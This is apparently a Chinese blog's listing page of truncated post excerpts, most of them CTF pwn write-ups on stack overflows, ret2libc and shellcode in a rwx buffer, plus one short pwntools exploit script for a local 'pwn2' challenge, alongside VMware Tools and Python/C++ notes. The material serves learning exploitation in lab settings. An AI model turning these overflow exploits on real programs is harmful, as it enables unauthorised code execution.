摘要:
1.运行程序 2.检查程序。32位程序,动态链接,开启了NX(不可执行)保护。也就是说我们不能直接通过写shellcode然后让程序执行这段shellcode来pwn掉它。 3.载入IDA中。很显然有一个可以过量输入而造成的栈溢出。当然程序中并没有 system 和 /bin/sh ,因此我们需要到 阅读全文
摘要:
1.例行运行并检查程序,32位程序,开启了 NX 保护,这时我们之前写入 shellcode 执行就会失效 2.依然是通过 gets() 来覆盖返回值,当然尽管找到了 /bin/sh 字符串,我们并没有 system("/bin/sh") 来开启shell,这时我们需要调用系统中的函数,(ps:一个 阅读全文
摘要:
1.运行程序,没有提供 system ,32位程序,基本未开保护 2.IDA中发现 strncpy() 函数将我们输入的 v4 复制到 bss 段的 buf2 处 3.经过 gdb 查看 buf2 处的代码是具有 rwx 属性的,因此我们可以构造一段 shellcode 然后执行此处的代码。 4.查 阅读全文
摘要:
1.首先运行一下程序 2.简单地检查一下程序,32位程序,开启了部分Relro保护,有NX保护(其实并没有什么影响) 3.观察 main 函数不难发现是通过 gets() 函数输入来覆盖返回值。 4.在 ida 里发现有 system("/bin/sh") 的代码,这样其实我们以及可以构造 exp 阅读全文
摘要:
程序开启的保护机制我们可以通过 pwntools 自带的 checksec 来检查出来。 (bugkuctf-pwn2-开启的保护机制) 1.Canary Canary, 金丝雀。金丝雀原来是石油工人用来判断气体是否有毒。而应用于在栈保护上则是在初始化一个栈帧时在栈底(stack overflow 阅读全文
摘要:
1.先拉进虚拟机运行一下 2.检查一下文件格式,发现是64位文件,然后这个文件开了 canary 和 Nx 保护,但是影响不大。 3.用 ida64 反编译查看一下,进入main函数。不难发现,当进入 else 分支后使得 v6 得 1926 即可得到 flag。 4.现在的问题是将第一次 v6 不 阅读全文
摘要:
经过回忆,应该是我两次安装vmtools导致的。 1.删除 /usr/lib/vmware-tools 下的所有文件 2.删除 /etc/vmware-tools 下的所有文件 3.重新执行 vmtools-install.pl 安装 vmtools 4.重新启动 阅读全文
摘要:
#!/usr/bin/env python from pwn import * p = process('./pwn2') payload = 'a' * 56 + p64(0x400751) p.recvuntil('?') p.sendline(payload) print p.recvall() 阅读全文
摘要:
1. 算法:由对象及语句组成。 2. 基本运算符: a. +:加 b. -:减 c. *:乘 d. /:除 e. //:整除 f. **:乘方 g. %:取余(求模) 3. 如果使用python 2.x 要对整数执行常规除法运算,可在程序开头添加下列语句,或者在交互式解释器中执行此语句: 4. 三种 阅读全文
摘要:
指数运算符: #include<cmath> a^b: pow(a, b) ctime头文件中的time(0)函数返回自格林尼治标准时间1970年1月1日00:00:00至当前时刻间的秒数(例如 int x = time(0)),#include<ctime> 简写运算符:+=、-=、*=、/=、% 阅读全文